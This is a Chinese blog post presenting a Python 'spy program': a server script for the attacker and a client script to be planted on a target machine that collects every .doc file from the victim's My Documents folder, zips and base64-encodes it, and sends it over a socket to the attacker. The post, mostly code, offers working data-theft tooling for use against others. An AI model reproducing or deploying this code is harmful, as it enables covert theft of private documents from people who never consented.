• python 间谍程序传输文件 socket编程


    本程序实现了,把目标机器的某个目录(可控)的所有的某种类型文件(可控)全部获取并传到己方的机器上。

    1、用了base64的encode(infile,outfile)加密,以及decode(infile,outfile)解密,这是2进制加密解密

    2、用zip压缩

    3、socket中server.py放到自己这方python server.py,然后client.py放到目标机器,然后python client.py即可

    4、本程序设置了获取doc文件,修改extName可以获取其它类型文件


    server.py

     

    # -*- coding: cp936 -*-
    import socket
    import win32com.client
    import os
    import zipfile
    import codecs
    import base64
    
    def main():
        HOST = '127.0.0.1'
        PORT = 2000
        BUF_SIZE = 6553500 #6M
        key = 'ouyang'
        timeout = 5
        dicName = "ouyang\"
    
    
        ss = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
        try:
            ss.bind((HOST,PORT))
            ss.listen(5)
            print "wating for conntecting..."
            while True:
                try:
                    cs,addr = ss.accept()
                    socket.setdefaulttimeout(timeout)
                    
                    cs.send("200 Connected!")
    
                    #获取加密数据
                    encode_data = cs.recv(BUF_SIZE)
    
                                
                    #把数据写到out.zip文件
                    tmpfile = open('out.tmp','wb')
                    try:
                        tmpfile.write(encode_data)
                        tmpfile.close()
                    except IOError,e:
                        print 'Strange error creating IOError:%s' % e   
                        tmpfile.close()
                    finally:
                        tmpfile.close()
    
                    #base64 decode 2进制 解密 decode(infile,outfile)
                    tmpfile = open('out.tmp','rb')
                    outfile = open('out.zip','wb')
                    base64.decode(tmpfile,outfile)
                    tmpfile.close()
                    outfile.close()
                    
                    #打开zip文件
                    zfile = zipfile.ZipFile('out.zip','r')
    
                    #创建一个文件夹来存放获取的zip文件
                    if not os.path.exists(dicName):
                        os.mkdir(dicName)
    
                    for f in zfile.namelist():
                        data = zfile.read(f)
                        file = open(dicName+os.path.basename(f),'w+b')
                        file.write(data)
                        file.close()
                    print "finished!!!"
                    zfile.close()
    
                    #后续处理 删除临时文件
                    os.remove('out.tmp')
                    
                    cs.close()
                    
                except socket.error, e:   
                    print 'Strange error creating socket:%s' % e   
                    cs.close()
            ss.close()
        except socket.error, e:
            print 'Strange error creating socket:%s' % e   
            ss.close()
    
    if __name__=='__main__':
        main()
    


    client.py

     

    # -*- coding: cp936 -*-
    import socket
    import win32com.client
    import win32api
    import os
    import time
    import zipfile
    import codecs
    import base64
    
    def walk_dir(dir,filelist,extName,topdown=True):
        for root, dirs, files in os.walk(dir, topdown):
            for name in files:
                if (os.path.splitext(os.path.join(root,name)))[-1] == extName:
                    filelist.append(os.path.join(root,name))       
            for name in dirs:
                if (os.path.splitext(os.path.join(root,name)))[-1] == extName:
                    filelist.append(os.path.join(root,name))
    def main():        
        HOST = '127.0.0.1'
        PORT = 2000
        BUF_SIZE = 65535
        key = 'ouyang'
        dicName = "C:Documents and SettingsAdministrator我的文档"
        extName = '.doc'
    
        #遍历搜索我的文档的doc类型
        try:
            filelist = []
            walk_dir(dicName,filelist,extName)
        except IOError,e:
            print "文件处理错误: " % e
            sys.exit(-1)
    
        cs = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
        try:
            cs.connect((HOST,PORT))
            print cs.recv(BUF_SIZE)
            
            #压缩成zip文件
            zfile = zipfile.ZipFile('in.zip','w',zipfile.ZIP_DEFLATED)
            for f in filelist:
                zfile.write(f)
            zfile.close()
            
            #base 2进制 加密 encode(infile,outfile)
            infile = open('in.zip','rb')
            tmpfile = open('in.tmp','wb')
            base64.encode(infile,tmpfile)
            infile.close()
            tmpfile.close()
            
            #send
            tmpfile = open('in.tmp','rb')
            cs.send(tmpfile.read())
            tmpfile.close()
    
            #后续处理 删除中间文件
            os.remove('in.tmp')
            
            cs.close()
        except socket.error ,e:
            print 'socket 出错啦:' % e
            cs.close()
    
    if __name__=='__main__':
        main()
    



  • 相关阅读:
    tf.nn.embedding_lookup函数的用法
    windows+python3.6下安装fasttext+fasttext在win上的使用+gensim(fasttext)
    阅读关于DuReader:百度大规模的中文机器阅读理解数据集
    End to End Sequence Labeling via Bidirectional LSTM-CNNs-CRF论文小结
    《Applying Deep Learning to Answer Selection: A Study And an Open Task》文章理解小结
    Windows下基于python3使用word2vec训练中文维基百科语料(三)
    Windows下基于python3使用word2vec训练中文维基百科语料(二)
    Java并发编程:CountDownLatch、CyclicBarrier和 Semaphore
    cpu满问题分析
    Zookeeper用来干什么?
  • 原文地址:https://www.cnblogs.com/suncoolcat/p/3343287.html
Copyright © 2020-2023  润新知